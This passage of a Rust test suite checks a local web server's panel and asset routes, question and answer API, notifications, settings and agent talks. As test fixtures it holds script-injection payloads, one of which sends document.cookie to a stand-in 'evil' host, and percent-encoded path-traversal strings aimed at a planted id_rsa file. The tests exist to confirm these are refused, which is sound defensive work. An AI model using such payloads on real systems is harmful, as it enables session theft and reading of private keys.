7030            );
7031            assert_eq!(
7032                res.header("referrer-policy"),
7033                Some("no-referrer"),
7034                "{path}: a panel must not leak the question id off the machine"
7035            );
7036
7037            // The front end mounts the frame only after a `HEAD` says the
7038            // panel is there, so `HEAD` has to answer with the same status and
7039            // the same policy as `GET` - a preflight that came back without
7040            // the CSP would mean a frame mounted on an unverified promise.
7041            let pre = fx.head(&path).await;
7042            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7043            assert_eq!(
7044                pre.header("content-security-policy"),
7045                res.header("content-security-policy"),
7046                "{path}: the preflight carries the same policy"
7047            );
7048            assert_eq!(
7049                pre.header("content-type"),
7050                res.header("content-type"),
7051                "{path}: the preflight carries the same type"
7052            );
7053        }
7054    }
7055
7056    #[tokio::test]
7057    async fn a_panel_reaches_the_browser_byte_for_byte() {
7058        let fx = Fixture::start().await;
7059        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7060        // tag, an entity, and a multi-byte character. The sandbox is what makes
7061        // this safe, so nothing here may be rewritten on the way out - a
7062        // rewritten diff is a diff the owner cannot trust.
7063        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7064        let id = panel(&fx, html, &[]);
7065
7066        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7067
7068        assert_eq!(res.status, 200);
7069        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7070        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7071        assert_eq!(
7072            res.header("content-disposition"),
7073            None,
7074            "the panel itself is rendered in the frame, not downloaded"
7075        );
7076    }
7077
7078    #[tokio::test]
7079    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7080        let fx = Fixture::start().await;
7081        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7082        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7083        let id = panel(
7084            &fx,
7085            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7086            &[("diff.svg", svg), ("shot.png", png)],
7087        );
7088
7089        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7090        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7091
7092        assert_eq!(as_svg.status, 200);
7093        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7094        // An SVG is XML that may carry script. Inside the panel it is an
7095        // `<img src>` and the script cannot run; opened at the top level it
7096        // would be a document on magi's own origin, so the browser is told to
7097        // download it instead of rendering it.
7098        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7099
7100        assert_eq!(as_png.status, 200);
7101        assert_eq!(as_png.header("content-type"), Some("image/png"));
7102        assert_eq!(
7103            as_png.header("content-disposition"),
7104            None,
7105            "a raster image has no execution surface, so tapping it still shows it"
7106        );
7107        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7108    }
7109
7110    #[tokio::test]
7111    async fn an_html_asset_is_never_served_as_html() {
7112        let fx = Fixture::start().await;
7113        let id = panel(
7114            &fx,
7115            "<p>see the notes</p>",
7116            &[
7117                (
7118                    "notes.html",
7119                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7120                ),
7121                ("hook.js", b"fetch('http://evil/')"),
7122                ("data.json", b"{}"),
7123                ("HEADLINE.TXT", b"plain"),
7124            ],
7125        );
7126
7127        for name in ["notes.html", "hook.js", "data.json"] {
7128            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7129            assert_eq!(res.status, 200, "{name}: {}", res.body);
7130            // Serving this as text/html would be a way to reach agent markup
7131            // at the top level of the operator's browser, outside the frame's
7132            // sandbox and outside its CSP - which is the whole thing the panel
7133            // design exists to prevent. Unlisted types are downloads.
7134            assert_eq!(
7135                res.header("content-type"),
7136                Some("application/octet-stream"),
7137                "{name} must not be a type the browser will execute or render"
7138            );
7139        }
7140        // The whitelist is matched case-insensitively, so an agent shouting the
7141        // extension still gets a readable file rather than a download.
7142        let txt = fx
7143            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7144            .await;
7145        assert_eq!(
7146            txt.header("content-type"),
7147            Some("text/plain; charset=utf-8")
7148        );
7149    }
7150
7151    #[tokio::test]
7152    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7153        let fx = Fixture::start().await;
7154        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7155        // Something outside the panel directory that a traversal would reach if
7156        // one got through, so a passing test is not merely "the file was
7157        // missing anyway".
7158        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7159
7160        // Decoded before this server's handler sees them: axum percent-decodes
7161        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7162        // string with a NUL in it. All three look like ordinary single-segment
7163        // filenames to the router, so the router passes them through and
7164        // `valid_asset_name` is what refuses them - for the literal `..`, and
7165        // for `/`, `\` and NUL not being in the permitted character set.
7166        for encoded in [
7167            "%2e%2e%2fid_rsa",
7168            "..%2fid_rsa",
7169            "..%5cid_rsa",
7170            "%2e%2e%5cid_rsa",
7171            "diff%00.svg",
7172            "..",
7173            ".hidden",
7174            "%2e%2e%2f%2e%2e%2fid_rsa",
7175        ] {
7176            let res = fx
7177                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7178                .await;
7179            assert_eq!(
7180                res.status, 400,
7181                "`{encoded}` has to be refused by name, not looked up: {}",
7182                res.body
7183            );
7184            assert!(res.json()["error"].is_string(), "{}", res.body);
7185        }
7186
7187        // Not decoded, and never this handler's problem: a real slash makes the
7188        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7189        // so axum's router has no route to match and answers before any code
7190        // here runs. Asserted so that a future route with a wildcard segment
7191        // cannot quietly open this door.
7192        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7193            let res = fx
7194                .get(&format!("/api/questions/{id}/asset/{literal}"))
7195                .await;
7196            assert_eq!(
7197                res.status, 404,
7198                "`{literal}` must not match the asset route at all: {}",
7199                res.body
7200            );
7201        }
7202    }
7203
7204    #[tokio::test]
7205    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7206        let fx = Fixture::start().await;
7207        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7208        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7209
7210        // A question nobody wrote a panel for. The client preflights with HEAD
7211        // and cannot see inside a sandboxed frame, so this must be a status and
7212        // not an empty page.
7213        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7214        assert_eq!(none.status, 404, "{}", none.body);
7215        assert!(none.json()["error"].is_string(), "{}", none.body);
7216        assert_eq!(
7217            fx.head(&format!("/api/questions/{plain}/panel"))
7218                .await
7219                .status,
7220            404,
7221            "the preflight is the only way the client can learn this"
7222        );
7223
7224        // A name that is perfectly legal and simply is not there.
7225        let missing = fx
7226            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7227            .await;
7228        assert_eq!(missing.status, 404, "{}", missing.body);
7229        assert!(missing.json()["error"].is_string(), "{}", missing.body);
7230
7231        // A question that does not exist at all, on both routes.
7232        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7233        assert_eq!(
7234            fx.get("/api/questions/nope/asset/diff.svg").await.status,
7235            404
7236        );
7237    }
7238
7239    #[tokio::test]
7240    async fn a_run_with_an_open_question_reads_as_waiting() {
7241        let fx = Fixture::start().await;
7242        let run = "20260902-000000-beef".to_owned();
7243        write_run(&fx.runs(), &run, RunStatus::Implementing);
7244
7245        let before = fx.get("/api/runs").await.json();
7246        assert_eq!(before[0]["waiting"], false, "{before}");
7247
7248        let store = fx.questions();
7249        let mut q = Question::new(
7250            run.clone(),
7251            "implement".to_owned(),
7252            "impl-A".to_owned(),
7253            "Which backend?".to_owned(),
7254            String::new(),
7255            vec!["SQLite".to_owned()],
7256        );
7257        store.put(&mut q).expect("put");
7258
7259        let during = fx.get("/api/runs").await.json();
7260        assert_eq!(during[0]["waiting"], true, "{during}");
7261
7262        // Answered: the run is moving again, and the flag has to follow without
7263        // anything having rewritten run.json.
7264        q.answer(Answer::Choice("SQLite".to_owned()))
7265            .expect("answer");
7266        store.put(&mut q).expect("put");
7267        let after = fx.get("/api/runs").await.json();
7268        assert_eq!(after[0]["waiting"], false, "{after}");
7269    }
7270
7271    #[tokio::test]
7272    async fn an_open_question_is_listed_and_counted_by_health() {
7273        let fx = Fixture::start().await;
7274        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7275
7276        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7277        let listed = fx.get("/api/questions").await.json();
7278        assert_eq!(listed.as_array().expect("array").len(), 1);
7279        assert_eq!(listed[0]["id"], id);
7280        assert_eq!(listed[0]["status"], "open");
7281        assert_eq!(listed[0]["choices"][1], "Redis");
7282        // The count is what makes the phone's indicator honest: it is the one
7283        // number meaning nothing will move until a human acts.
7284        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7285    }
7286
7287    #[tokio::test]
7288    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7289        let fx = Fixture::start().await;
7290        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7291        let path = format!("/api/questions/{id}/answer");
7292
7293        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7294        assert_eq!(res.status, 200, "{}", res.body);
7295        let body = res.json();
7296        assert_eq!(body["status"], "answered");
7297        assert_eq!(body["answer"]["choice"], "Redis");
7298
7299        // Answered from the terminal in between the list and the tap: the UI
7300        // must be able to tell this from a bad request, so it can show the
7301        // recorded answer instead of an error.
7302        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7303        assert_eq!(again.status, 409, "{}", again.body);
7304        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7305    }
7306
7307    #[tokio::test]
7308    async fn saying_something_appends_a_turn_without_answering() {
7309        let fx = Fixture::start().await;
7310        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7311        let path = format!("/api/questions/{id}/say");
7312
7313        let res = fx
7314            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7315            .await;
7316        assert_eq!(res.status, 200, "{}", res.body);
7317        let body = res.json();
7318        assert_eq!(body["status"], "open", "talking back is not a decision");
7319        assert_eq!(body["answer"], Value::Null);
7320        assert_eq!(body["thread"][0]["who"], "operator");
7321        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7322        assert_eq!(body["waiting_on_agent"], true);
7323        // Still open, still counted, still exactly one question.
7324        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7325    }
7326
7327    #[tokio::test]
7328    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7329        let fx = Fixture::start().await;
7330        let store = fx.questions();
7331        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7332        assert_eq!(
7333            fx.get("/api/health").await.json()["questions_needs_owner"],
7334            1
7335        );
7336
7337        // The owner asks back instead of deciding: the ask bar, the nav badge
7338        // and the title must stop naming this question, because there is
7339        // nothing to decide until the agent answers - `status` alone cannot
7340        // say that, which is the whole reason `questions_needs_owner` exists
7341        // alongside `questions_open`.
7342        let res = fx
7343            .post(
7344                &format!("/api/questions/{id}/say"),
7345                Some(r#"{"body":"why not Postgres?"}"#),
7346            )
7347            .await;
7348        assert_eq!(res.status, 200, "{}", res.body);
7349        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7350        assert_eq!(
7351            fx.get("/api/health").await.json()["questions_needs_owner"],
7352            0,
7353            "waiting on the agent is not waiting on the owner"
7354        );
7355
7356        // `magi ask --thread` replying is what brings the owner count back -
7357        // the same event that would resume the CLI call blocked in `magi
7358        // ask`.
7359        let mut q = store.get(&id).expect("get");
7360        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7361            .expect("reply");
7362        store.put(&mut q).expect("put");
7363        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7364        assert_eq!(
7365            fx.get("/api/health").await.json()["questions_needs_owner"],
7366            1,
7367            "the agent's reply is what should light the banner back up"
7368        );
7369    }
7370
7371    #[tokio::test]
7372    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7373        let fx = Fixture::start().await;
7374        let store = fx.questions();
7375
7376        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7377        let res = fx
7378            .post(
7379                &format!("/api/questions/{empty_id}/say"),
7380                Some(r#"{"body":"   "}"#),
7381            )
7382            .await;
7383        assert_eq!(res.status, 400, "{}", res.body);
7384
7385        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7386        let mut answered = store.get(&answered_id).expect("get");
7387        answered
7388            .answer(Answer::Choice("SQLite".to_owned()))
7389            .expect("answer");
7390        store.put(&mut answered).expect("put");
7391        let res = fx
7392            .post(
7393                &format!("/api/questions/{answered_id}/say"),
7394                Some(r#"{"body":"still there?"}"#),
7395            )
7396            .await;
7397        assert_eq!(res.status, 409, "{}", res.body);
7398
7399        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7400        let mut abandoned = store.get(&abandoned_id).expect("get");
7401        abandoned.abandon("timed out");
7402        store.put(&mut abandoned).expect("put");
7403        let res = fx
7404            .post(
7405                &format!("/api/questions/{abandoned_id}/say"),
7406                Some(r#"{"body":"still there?"}"#),
7407            )
7408            .await;
7409        assert_eq!(res.status, 409, "{}", res.body);
7410    }
7411
7412    #[tokio::test]
7413    async fn an_answer_the_question_does_not_offer_is_refused() {
7414        let fx = Fixture::start().await;
7415        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7416        let path = format!("/api/questions/{id}/answer");
7417
7418        for body in [
7419            r#"{"choice":"Postgres"}"#,
7420            r#"{"text":"whatever you think"}"#,
7421            r#"{"choice":"Redis","text":"both"}"#,
7422            r#"{}"#,
7423        ] {
7424            let res = fx.post(&path, Some(body)).await;
7425            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7426            assert!(res.json()["error"].is_string(), "{}", res.body);
7427        }
7428        // Nothing above may have answered it.
7429        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7430    }
7431
7432    #[tokio::test]
7433    async fn a_free_text_question_takes_text_and_not_a_choice() {
7434        let fx = Fixture::start().await;
7435        let id = ask(&fx, "What should the flag be called?", &[]);
7436        let path = format!("/api/questions/{id}/answer");
7437
7438        assert_eq!(
7439            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7440            400
7441        );
7442        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7443        assert_eq!(res.status, 200, "{}", res.body);
7444        assert_eq!(res.json()["answer"]["text"], "--json");
7445    }
7446
7447    #[tokio::test]
7448    async fn an_unknown_question_is_a_json_404() {
7449        let fx = Fixture::start().await;
7450        let res = fx
7451            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7452            .await;
7453        assert_eq!(res.status, 404, "{}", res.body);
7454        assert!(res.json()["error"].is_string());
7455    }
7456
7457    #[tokio::test]
7458    async fn notifications_list_read_dismiss_and_health_agree() {
7459        let fx = Fixture::start().await;
7460        let store = Notices::at(fx.home.path().join("notifications"));
7461        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7462        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7463
7464        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7465        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7466
7467        let health = fx.get("/api/health").await.json();
7468        assert_eq!(health["notifications_unread"], 2);
7469        assert_ne!(
7470            health["notifications_rev"], rev0,
7471            "the badge must move live"
7472        );
7473
7474        let listed = fx.get("/api/notifications").await.json();
7475        assert_eq!(listed["unread"], 2);
7476        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7477        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7478
7479        let read = fx
7480            .post(&format!("/api/notifications/{}/read", a.id), None)
7481            .await;
7482        assert_eq!(read.status, 200, "{}", read.body);
7483        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7484
7485        let gone = fx
7486            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7487            .await;
7488        assert_eq!(gone.status, 200, "{}", gone.body);
7489        let listed = fx.get("/api/notifications").await.json();
7490        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7491        assert_eq!(listed["unread"], 0);
7492
7493        store.raise(Notice::info("x", "again")).unwrap();
7494        let all = fx.post("/api/notifications/read-all", None).await;
7495        assert_eq!(all.status, 200, "{}", all.body);
7496        assert_eq!(all.json()["marked"], 1);
7497        assert_eq!(
7498            fx.get("/api/health").await.json()["notifications_unread"],
7499            0
7500        );
7501
7502        let missing = fx.post("/api/notifications/nope/read", None).await;
7503        assert_eq!(missing.status, 404, "{}", missing.body);
7504        assert!(missing.json()["error"].is_string());
7505    }
7506
7507    /// New work reaches the queue through `magi task add`, a standing talk's
7508    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
7509    /// so the compose form and that route are gone. The tests that covered
7510    /// that route's validation went with it, and nothing was left asserting
7511    /// it stays gone — so a re-added handler would silently let the phone
7512    /// file briefs no one validated.
7513    #[tokio::test]
7514    async fn a_task_cannot_be_filed_over_the_phone_directly() {
7515        let f = Fixture::start().await;
7516
7517        let res = f
7518            .post(
7519                "/api/queue",
7520                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7521            )
7522            .await;
7523
7524        assert_eq!(
7525            res.status, 405,
7526            "POST /api/queue must not be a route: {}",
7527            res.body
7528        );
7529        assert!(
7530            f.queue().list().is_empty(),
7531            "a task filed by a route that does not exist must not reach the disk"
7532        );
7533        // The path itself is still served — the Queue view reads it — and the
7534        // per-task controls are untouched by the entry being removed.
7535        assert_eq!(f.get("/api/queue").await.status, 200);
7536    }
7537
7538    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
7539    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7540        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7541            .expect("checkout dir");
7542    }
7543
7544    /// Two command agents, so a config needs no real CLI.
7545    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7546
7547    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7548        let tmp = TempDir::new().expect("tempdir");
7549        let repo = tmp.path().join("repo");
7550        std::fs::create_dir_all(&repo).expect("repo dir");
7551        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7552        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7553        if let Some(text) = machine_toml {
7554            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7555            std::fs::write(&machine, text).expect("machine toml");
7556        }
7557        (tmp, repo, machine)
7558    }
7559
7560    #[tokio::test]
7561    async fn settings_get_reports_sources_and_the_advisors_fallback() {
7562        let (_tmp, repo, machine) =
7563            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7564        let f = Fixture::with_repo_and_machine(repo, machine).await;
7565        let res = f.get("/api/settings").await;
7566        assert_eq!(res.status, 200, "{}", res.body);
7567        let v = res.json();
7568        assert!(v["error"].is_null(), "{v}");
7569        let role = |k: &str| {
7570            v["roles"]
7571                .as_array()
7572                .and_then(|r| r.iter().find(|x| x["key"] == k))
7573                .cloned()
7574                .unwrap_or_else(|| panic!("no role {k}: {v}"))
7575        };
7576        assert_eq!(role("judges")["source"], "machine");
7577        assert_eq!(role("judges")["editable"], true);
7578        assert_eq!(role("implementers")["source"], "default");
7579        let adv = role("advisors");
7580        assert_eq!(adv["fallback"], "judges");
7581        assert!(
7582            adv["seats"]
7583                .as_array()
7584                .is_some_and(|s| s.iter().all(|x| x == "b")),
7585            "{adv}"
7586        );
7587        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7588        assert_eq!(v["agents"][0]["source"], "repo");
7589    }
7590
7591    #[tokio::test]
7592    async fn settings_get_reports_a_config_that_does_not_parse() {
7593        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7594        let f = Fixture::with_repo_and_machine(repo, machine).await;
7595        let res = f.get("/api/settings").await;
7596        assert_eq!(res.status, 200, "{}", res.body);
7597        let v = res.json();
7598        assert!(v["error"]["message"].is_string(), "{v}");
7599        assert!(
7600            v["error"]["path"]
7601                .as_str()
7602                .is_some_and(|p| p.ends_with("magi.toml")),
7603            "{v}"
7604        );
7605        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7606    }
7607
7608    #[tokio::test]
7609    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7610        let (_tmp, repo, machine) = settings_dirs(
7611            SETTINGS_AGENTS,
7612            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
7613        );
7614        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7615        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7616        let rev = f.get("/api/settings").await.json()["revision"]
7617            .as_str()
7618            .expect("revision")
7619            .to_owned();
7620        let body = serde_json::json!({
7621            "revision": rev,
7622            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7623        })
7624        .to_string();
7625        let res = f.put("/api/settings/roles", &body).await;
7626        assert_eq!(res.status, 200, "{}", res.body);
7627        let text = std::fs::read_to_string(&machine).expect("machine");
7628        assert_eq!(
7629            text,
7630            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7631        );
7632        assert_eq!(
7633            std::fs::read(repo.join("magi.toml")).expect("read"),
7634            repo_before
7635        );
7636        let again = f.get("/api/settings").await.json();
7637        let judges = again["roles"]
7638            .as_array()
7639            .expect("roles")
7640            .iter()
7641            .find(|r| r["key"] == "judges")
7642            .expect("judges")
7643            .clone();
7644        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7645        // The old revision is now stale.
7646        let stale = f.put("/api/settings/roles", &body).await;
7647        assert_eq!(stale.status, 409, "{}", stale.body);
7648    }
7649
7650    #[tokio::test]
7651    async fn settings_put_refuses_without_touching_the_file() {
7652        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7653        let (_tmp, repo, machine) = settings_dirs(
7654            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7655            Some(machine_text),
7656        );
7657        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7658        let rev = f.get("/api/settings").await.json()["revision"]
7659            .as_str()
7660            .expect("revision")
7661            .to_owned();
7662        for roles in [
7663            serde_json::json!({ "judges": ["nope"] }),
7664            serde_json::json!({ "reviewers": ["b"] }),
7665            serde_json::json!({ "bogus": ["a"] }),
7666        ] {
7667            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7668            let res = f.put("/api/settings/roles", &body).await;
7669            assert_eq!(res.status, 422, "{roles}: {}", res.body);
7670            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7671            assert_eq!(
7672                std::fs::read_to_string(&machine).expect("machine"),
7673                machine_text
7674            );
7675        }
7676    }
7677
7678    #[tokio::test]
7679    async fn repos_list_returns_name_and_path_for_every_configured_root() {
7680        let tmp = TempDir::new().expect("tempdir");
7681        let repo = tmp.path().join("repo");
7682        std::fs::create_dir_all(&repo).expect("repo dir");
7683        let root = tmp.path().join("root");
7684        make_checkout(&root, "github.com", "yukimemi", "magi");
7685        std::fs::write(
7686            repo.join("magi.toml"),
7687            format!(
7688                "[repos]\nroots = [{:?}]\n",
7689                root.to_string_lossy().into_owned()
7690            ),
7691        )
7692        .expect("write magi.toml");
7693
7694        let f = Fixture::with_repo(repo).await;
7695        let res = f.get("/api/repos").await;
7696        assert_eq!(res.status, 200, "{}", res.body);
7697        let list = res.json();
7698        let repos = list.as_array().expect("an array");
7699        assert_eq!(repos.len(), 1);
7700        assert_eq!(repos[0]["name"], "yukimemi/magi");
7701        assert!(
7702            repos[0]["path"]
7703                .as_str()
7704                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7705            "{list}"
7706        );
7707    }
7708
7709    #[tokio::test]
7710    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7711        let tmp = TempDir::new().expect("tempdir");
7712        let repo = tmp.path().join("repo");
7713        std::fs::create_dir_all(&repo).expect("repo dir");
7714        let root = tmp.path().join("root");
7715        make_checkout(&root, "github.com", "yukimemi", "magi");
7716        std::fs::write(
7717            repo.join("magi.toml"),
7718            format!(
7719                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7720                root.to_string_lossy().into_owned()
7721            ),
7722        )
7723        .expect("write magi.toml");
7724
7725        let f = Fixture::with_repo(repo).await;
7726        let first = f.get("/api/repos").await;
7727        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7728
7729        // A second checkout appears; within the TTL the cached answer must
7730        // not notice it.
7731        make_checkout(&root, "github.com", "yukimemi", "rvpm");
7732        let second = f.get("/api/repos").await;
7733        assert_eq!(
7734            second.json().as_array().map(Vec::len),
7735            Some(1),
7736            "a fresh cache must not rescan inside the TTL"
7737        );
7738
7739        let refreshed = f.get("/api/repos?refresh=1").await;
7740        assert_eq!(
7741            refreshed.json().as_array().map(Vec::len),
7742            Some(2),
7743            "an explicit refresh must rescan even inside the TTL"
7744        );
7745    }
7746
7747    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
7748    /// string, declared straight in a repository's own `magi.toml` rather
7749    /// than the operator's real roster. No real agent CLI is spawned - `sh`
7750    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
7751    /// this is safe to run over a real HTTP round trip.
7752    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7753
7754    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
7755    /// real `Config::discover` to find an agent - `talk::begin` resolves one
7756    /// even though it takes no turn, and `talk_say` invokes one.
7757    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7758        let tmp = TempDir::new().expect("tempdir");
7759        let repo = tmp.path().join("repo");
7760        std::fs::create_dir_all(&repo).expect("repo dir");
7761        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7762        let f = Fixture::with_repo(repo.clone()).await;
7763        (tmp, repo, f)
7764    }
7765
7766    #[tokio::test]
7767    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7768        let (_tmp, _repo, f) = talk_fixture().await;
7769
7770        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
7771        // is the ordinary way a phone opens a talk.
7772        let opened = f.post("/api/talks", None).await;
7773        assert_eq!(opened.status, 201, "{}", opened.body);
7774        let body = opened.json();
7775        assert_eq!(body["status"], "open");
7776        assert_eq!(
7777            body["turns"].as_array().unwrap().len(),
7778            0,
7779            "opening takes no agent turn: there is nothing yet to answer"
7780        );
7781
7782        // An explicit empty object is the same request as none at all.
7783        let also_opened = f.post("/api/talks", Some("{}")).await;
7784        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7785
7786        let listed = f.get("/api/talks").await.json();
7787        assert_eq!(listed.as_array().unwrap().len(), 2);
7788    }
7789
7790    #[tokio::test]
7791    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7792        let tmp = TempDir::new().expect("tempdir");
7793        let repo = tmp.path().join("repo");
7794        std::fs::create_dir_all(&repo).expect("repo dir");
7795        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7796        std::fs::write(
7797            repo.join("magi.toml"),
7798            format!("{MOCK_AGENT_TOML}\n{second}"),
7799        )
7800        .expect("write magi.toml");
7801        let home = TempDir::new().expect("temp home");
7802        let talks = Talks::at(home.path().join("talks"));
7803        let ui = Arc::new(
7804            Ui::new(
7805                Queue::at(home.path().join("queue")),
7806                Questions::at(home.path().join("questions")),
7807                talks.clone(),
7808                home.path().join("runs"),
7809                home.path().to_path_buf(),
7810                repo.clone(),
7811            )
7812            .with_worktrees_root(home.path().join("wt")),
7813        );
7814        let cfg = config_for(&repo).await.expect("discover config");
7815        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7816        let id = talk.id.clone();
7817        let call = |agent: &str| {
7818            talk_agent(
7819                State(Arc::clone(&ui)),
7820                Path(id.clone()),
7821                Json(TalkAgent {
7822                    agent: agent.to_owned(),
7823                }),
7824            )
7825        };
7826
7827        let unknown = call("nobody").await.expect_err("unknown agent");
7828        assert_eq!(
7829            unknown.status,
7830            StatusCode::BAD_REQUEST,
7831            "{}",
7832            unknown.message
7833        );
7834
7835        {
7836            // The refused call hands its claim to a drain loop that releases
7837            // it a moment later.
7838            let mut claimed = None;
7839            for _ in 0..200 {
7840                claimed = ui.begin_talk_turn(&id).expect("claim");
7841                if claimed.is_some() {
7842                    break;
7843                }
7844                tokio::time::sleep(Duration::from_millis(10)).await;
7845            }
7846            let _busy = claimed.expect("free");
7847            let busy = call("second").await.expect_err("busy talk");
7848            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7849        }
7850        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7851
7852        let Json(view) = call("second").await.expect("switch");
7853        assert_eq!(view.talk.agent, "second");
7854        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7855        let saved = talks.get(&id).expect("reload");
7856        assert_eq!(saved.agent, "second");
